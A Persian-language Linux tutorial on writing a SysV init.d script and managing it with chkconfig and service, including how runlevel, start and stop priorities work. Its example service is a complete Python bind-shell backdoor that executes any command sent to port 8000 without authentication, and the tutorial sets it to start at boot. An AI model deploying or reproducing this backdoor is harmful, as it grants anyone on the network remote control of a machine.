منبع اصلی نوشتار زیر در این لینک قرار دارد

نوشتن اسکریپت برای inid.d و ست کردن آن با chkconfig

سلام . در قسمت های قبلی با مفاهیم runlevel و هم چنین کار با دستور chkconfig آشنا شدیم . هم چنین با ذکر چندین مثال سویچ add و del دستور chkconfig را بررسی کردیم و چندین حالات ممکن برای سرویس ssh را بررسی کردیم .

اما تمامی سرویس هایی که گفتیم , همه در سیستم وجود داشتند و فایل های اجرایی و کانفیگ آن در سیستم وجود داشت . حال فرض کنید می خواهیم یک اسکریپت کوچیک تهیه کنیم که طبق سینتکس های chkconfig باشد . یعنی علاوه بر این که در runlevel ای خاص اجرا شود , قابل مدیریت توسط ابزار chkconfig هم باشد .

فرض ها :

1. من یک اسکریپت کوچیک ریموت شل با استفاده از پایتون تهیه کردم ام که روی پورت 8000 سرویس دهی می کند : ( از اسکریپت 0x0ptim0us توسط نوشته شده است )

 

#!/usr/bin/python
# TT Backdoor written by 0x0ptim0us
# mail : [email protected]
# edited by e2ma3n

import socket
import subprocess
tcpsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
tcpsocket.bind(("0.0.0.0", 8000))
tcpsocket.listen(2)
(client, (ip, port)) = tcpsocket.accept()
while True:
	try:
            	client.send("n[TBH@Backdoor] : ")
                data=client.recv(512000)
                data=data.strip("n")
                run=subprocess.Popen(data, stderr=subprocess.PIPE,
stdout=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)
                run2=run.stdout.read()
                client.send(run2)
        except(KeyboardInterrupt):
                print "Something Wrong !"
client.close()
tcpsocket.close()

من این اسکریپت را در مسیر usr/sbin/ با نام فرضی ttb کپی می کنم . حال برای اجرای این اسکریپت کافیست به صورت زیر عمل کنیم :

python /usr/sbin/ttb

اما برای مدیریت این اسکریپت کافیست یک اسکریپت دیگه ای تهیه کنیم و آن را در chkconfig اضافه کنیم . اگه اسکریپت پایتون بالا را مثل یک سرویس که روی پورت 8000 سرویس دهی می کند در نظر بگیریم . می توانیم مدیریت start و stop و status و … این سرویس را با اسفاده از chkconfig و دستور service به عهده بگیریم .

برای این منظور اسکریپت زیر را در مسیر etc/init.d/ با نام فرضی ttbd قرار می دهیم :

01. #! /bin/bash
02. # chkconfig: 5 23 55
03. case "$1" in
04.  start)
05.    echo "Starting ttb on tcp/8000 "
06.    python /usr/sbin/ttb &
07.    echo "start zade shode" >> /tmp/ttb.txt
08.    ;;
09.  stop)
10.    echo "Stopping ttb "
11.    kill -9 `netstat -ltpn | grep python | tr -d " " | tr "LISTEN" ":" | tr "/" ":" | cut -d : -f 9`
12.    echo "stop zade shode" >> /tmp/ttb.txt
13.    ;;
14.  status)
15.    echo "status zade shode" >> /tmp/ttb.txt
16.    netstat -ltpn | grep python | tr -d " " | tr "LISTEN" ":" | tr "/" ":" | cut -d : -f 9 > /tmp/ttb.out ; echo disable >> /tmp/ttb.out
17.    status=`cat /tmp/ttb.out | head -n 1`
18.        if [ $status = "disable" ]; then
19.               echo "ttb is stoped"
20.            else
21.               echo "ttb is running..."
22.            fi
23.    ;;
24.  *)
25.    echo "Usage: ttb {start|stop|status}"
26.    exit 1
27.    ;;
28. esac
29.
30. exit 0

 


توضیح اسکریپت بالا :

1. به خطوط 04 و 09 و 14 و 25 توجه کنید . پس می توان نتیجه گرفت با 3 آپشن start و stop و status رو به رو هستیم .

2. اگر به خط 02 توجه کنید عبارت chkconfig: 5 23 55 مواجه خواهید شد . این عبارت برای اضافه کردن این اسکریپت به دیتابیس chkconfig الزامی است . عدد شماره ی 5 مشخه ی runlevel پیش فرضی که قرار است سرویس در آن فعال باشد , می باشد . عدد شماره ی 23 مشخه ی اولیت فعال شدن سرویس ttb پس از تمامی سرویس هایی که با اولویت 23 و کم تر از آن می باشد, است .

یعنی ابتدا سرویس هایی با اولویت 00 و 10 و 15 و … فعال شدن و پس از این که اولویت شماره ی 22 فعال شد , سرویس ما ( که اولیت 23 فعال را به خود می گیرد ) فعال می شود .

توجه داشته باشید که این اولویت اجرا فقط در runlevel هایی هست که قرار است سرویس ما در آن ها فعال باشد . به عنوان مثال ما runlevel فعال بودن سرویس خودمون رو 5 انتخاب کردیم . پس طبیعتا این اولویت فعال شدن فقط برای runlevel شماره ی 5 می باشد . ( اگه به غیر از runlevel شماره ی 5 , شماره ی 4 را هم داشتیم آن وقت این اولویت فعال شدن برای runlevel شماره ی 4 هم اعمال می شد )

عدد شماره ی 55 مشخه ی اولیت غیر فعال شدن سرویس ttb پس از تمامی سرویس هایی که با اولویت 23 و کم تر از آن می باشد, است .

یعنی ابتدا سرویس هایی با اولویت 10 20 40 و … غیر فعال شده و پس از این که اولویت شماره ی 54 غیر فعال شد , سرویس ما ( که اولویت 55 غیر فعال را به خود می گیرد ) غیر فعال می شود .

اجازه بدید همین روند را برای سرویس iptables و ssh بررسی کنیم . برای این منظور :

[root@dhcppc2 ~]# cat /etc/init.d/iptables | grep chkconfig
# chkconfig: 2345 08 92

و هم چنین :

[root@dhcppc2 ~]# cat /etc/init.d/sshd | grep chkconfig
# chkconfig: 2345 55 25

iptables :

همان طور که مشاهده می کنید قسمت ابتدایی اعداد با 2345 پر شده است که این یعنی این سرویس در runlevel های 2345 به صورت پیش فرض فعال باشد .

قسمت دوم اعداد 08 است که به منظور اولویت اجرای این سرویس است که همان طور که می بینید این عدد بسیار کوچیک است پس به این معنی است که این سرویس بسیار مهم بوده و باید زود تر از همه اجرا شود .

قسمت سوم اعداد 92 است که به منظور اولویت غیر فعال شدن این سرویس است که همان طور که می بینید این عدد بسیار کوچیک است پس به این معنی است که این سرویس بسیار مهم بوده و باید آخر از همه غیر فعال شود !

همان طور که می دونید iptables سرویسی مهم است پس زود تر از همه اجرا شده و دیر تر از همه غیر فعال می شود . برای دیدن و اثبات حرف هامون می تونیم به صورت زیر عمل کنیم . یعنی در تمامی دایرکتوری های runlevel ها به دنبال سرویس iptables بگردیم :

ls -1 /etc/rc?.d/*iptables

001


همان طور که از عکس مشخص است . سرویس iptables در runlevel های 0 و 2 و 6 غیر فعال و اولویت آن 92 می باشد . هم چنین این سرویس در runlevel های 2 تا 5 فعال بوده و اولویت آن 08 می باشد .

یاد آوری : حرف S به منظور فعال و حرف K به منظور غیر فعال بودن سرویس می باشد .

یاد آوری : دو عدد بعد از حرف S و K به منظور اولویت سرویس ها می باشد .

توضیح قسمت start اسکریپت :

در این قسمت 3 دستور به ترتیب اجرا می شود . در ابتدا یک خروجی با مضمون فعال شدن سرویس چاپ می شود سپس اسکریپت پایتون ما در مرحله ی بعدی اجرا می شود . در آخر عبارتی با مضمون “از start استفاده شده است” در فایلی در مسیر tmp/ttb.txt/ نوشته می شود .

توضیح قسمت stop اسکریپت :

همانند قسمت قبل 3 دستور اجرا می شود . در ابتدا یک عبارت با مضمون این که سرویس stop شده است چاپ می شود سپس pid برنامه ای که اجرا کردیم پیدا شده و در نهایت در مقابل دستور زیر قرار می گیرد :

kill -9 PID

در نهایت عبارتی با مضمون این که از stop استفاده شده داخل فایل ttb.txt ریخته می شود .

توضیح قسمت status اسکریپت :

همانند قسمت بالا 3 دستور در این قسمت به ترتیب اجرا می شود . در ابتدا یک عبارت با مضمون این که از status استفاده شده است در فایل ttb.txt ریخته می شود . در مرحله ی بعد با استفاده از تیکه کد زیر به دنبال pid اسکریپتی که اجرا کردیم می گردیم :

netstat -ltpn | grep python | tr -d " " | tr "LISTEN" ":" | tr "/" ":" | cut -d : -f 9 > /tmp/TBH.out ; echo disable >> /tmp/TBH.out

ابتدا PID برنامه ی ما پیدا شده و در فایل ttb.out ریخته می شود . در مرحله ی بعد عبارت disable نیز به این فایل در خطی جدا اضافه می شود .

پس فایل ttb.out دو حالت زیر را می تواند داشته باشد :

الف : در خط اول pid برنامه ی ما و در خط بعدی کلمه ی disable ( که یعنی pid برنامه ما پیدا شده و در فایل ریخته شده است پس برنامه ی ما فعال است )

ب : فقط در خط اول کلمه ی disable ( که یعنی pid برنامه ی ما پیدا نشده یعنی برنامه ی ما فعال نمی باشد و لذا فقط کلمه ی disable در  فایل ریخته می شود )

از همین طریق می توان یک خروجی مناسب با مضمون فعال یا غیر فعال بودن سرویس چاپ کرد !

در مرحله ی بعد خط اول فایل ttb.out خوانده می شود و داخل متغیر status ریخته می شود . در مرحله ی بعد برنامه وارد یک شرط می شود .

اگر عبارت داخل متغییر برابر با disable بود , عبارتی با مضمون ttb is stoped چاپ می شود

if [ $status = "disable" ]; then
               echo "ttb is stoped"

و اگر عبارت داخل متغییر status چیزی به غیر از disable بود , عبارتی با مضمون ttb is running… چاپ خواهد شد .

else
               echo "ttb is running..."
            fi

حال جهت اجرا کافیست به اسکریپت خودمون پرمیشن اجرا دهیم . برای این منظور :

chmod +x /etc/init.d/ttbd

حال کافیست اسکریپت خودمون رو به شکل زیر به chkconfig جهت مدیریت سرویس اضافه کنیم :

chkconfig --add ttbd

اگر یک نگاهی به runlevel های فعال سرویس خودمون بندازیم , خواهیم دید که تنها در runlevel شماره ی 5 فعال است چرا که در اسکپریت runlevel پیش فرض را 5 انتخاب کردیم .

chkconfig --list ttbd

002

حال می توان مانند تمامی سرویس های دیگر , این سرویس را نیز مدیریت کرد . هم چنین می توان با استفاده از دستور service سرویس ttbd را مدیریت کنیم . به عنوان مثال :

service ttbd status

003


نکته : این آموزش برای توزیعی گفته شد که از systemv به صورت پیش فرض استفاده می شود این در حالی است که centos 7 به صورت پیش فرض از systemd استفاده می کند .

نکته : اسکریپت نویسی این آموزش فقط جهت مثال و آموزش بود و نمی توان آن را با سرویس های بزرگی همچون ssh و http و … مقایسه کرد .

 

نویسنده : E2MA3N

منبع : او اس لرن |http://OSLearn.ir


برای بحث در انجمن مربوطه کلیک کنید



برچسب ها :